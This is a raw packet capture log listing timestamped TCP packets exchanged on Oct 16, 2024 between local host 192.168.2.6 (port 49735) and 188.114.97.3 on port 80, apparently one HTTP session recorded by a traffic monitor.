                                                                                    Oct 16, 2024 10:58:12.362397909 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379590034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379601955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379612923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379652023 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379659891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379672050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379677057 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379683018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379713058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379740000 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379749060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379759073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379769087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.379796982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379822969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.379990101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380001068 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380009890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380037069 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380064964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380079031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380095005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380104065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380114079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380114079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380130053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380132914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380145073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380147934 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380157948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380167961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380173922 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380179882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380189896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380199909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380203009 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380212069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380225897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380239010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380254984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380264044 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380265951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380296946 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380300045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380311966 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380321026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380333900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380361080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380417109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380429029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380475044 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380480051 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380491972 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380503893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380513906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380520105 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380544901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380567074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380568027 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380578995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380589008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380599976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380614996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380628109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380639076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380641937 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380650997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380661011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380664110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380671978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380681992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380691051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380722046 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380829096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380877018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380908012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380923986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380935907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380945921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380954981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.380960941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.380987883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381014109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381022930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381031990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381053925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381069899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381079912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381089926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381100893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381123066 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381133080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381143093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381146908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381154060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381165981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381174088 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381175041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381185055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381206036 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381222010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381233931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381244898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381253958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381272078 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381283045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381283045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381294012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381300926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381328106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381407022 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381417990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381428003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381452084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381469011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381483078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381490946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381501913 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.381520033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.381536007 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420183897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420195103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420205116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420238972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420275927 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420356989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420367002 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420378923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420388937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420397997 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420407057 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420423031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420429945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420433998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420444965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420450926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420463085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420469999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420474052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420483112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420486927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420497894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420514107 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420551062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420579910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420589924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420598984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420612097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420624018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420627117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420640945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420641899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420663118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420685053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420723915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420734882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420744896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420759916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420769930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420770884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420780897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420787096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420804024 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420819044 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420876026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420885086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420895100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420921087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420942068 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.420948029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420978069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.420988083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421010971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421044111 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421044111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421091080 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421091080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421104908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421128988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421144962 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421216011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421226025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421236992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421247005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421257973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421267033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421267986 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.421293974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.421310902 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434456110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434465885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434477091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434487104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434520006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434523106 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434530973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434545994 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434557915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434570074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434581041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434585094 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434598923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434627056 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434640884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434650898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434672117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434680939 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434681892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434690952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434700012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434703112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434726954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434739113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434763908 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434773922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434803963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434823990 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434837103 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434847116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434856892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434865952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434880972 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434880972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434890985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.434912920 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.434927940 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479593039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479602098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479612112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479659081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479669094 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479679108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479688883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479734898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479748011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479758024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479768038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479779959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479792118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479809999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479820013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479830980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479839087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479859114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479861021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479867935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479887009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479897022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479898930 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479908943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479918957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479927063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479947090 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479955912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.479959011 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.479989052 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497220039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497229099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497236013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497283936 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497292995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497304916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497315884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497332096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497363091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497399092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497410059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497421026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497431040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497438908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497442961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497467041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497489929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497492075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497564077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497592926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497602940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497606993 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497616053 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497625113 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497632027 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497656107 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497661114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497667074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497677088 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497694016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497721910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497721910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497733116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497744083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497767925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497778893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497781038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497791052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497800112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497811079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497829914 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497847080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497850895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497863054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497878075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497886896 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497894049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497898102 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497919083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497931004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497941971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.497948885 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497965097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.497978926 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.498019934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.498030901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.498044968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.498054028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.498063087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.498064041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.498079062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.498080015 CEST8049735188.114.97.3192.168.2.6
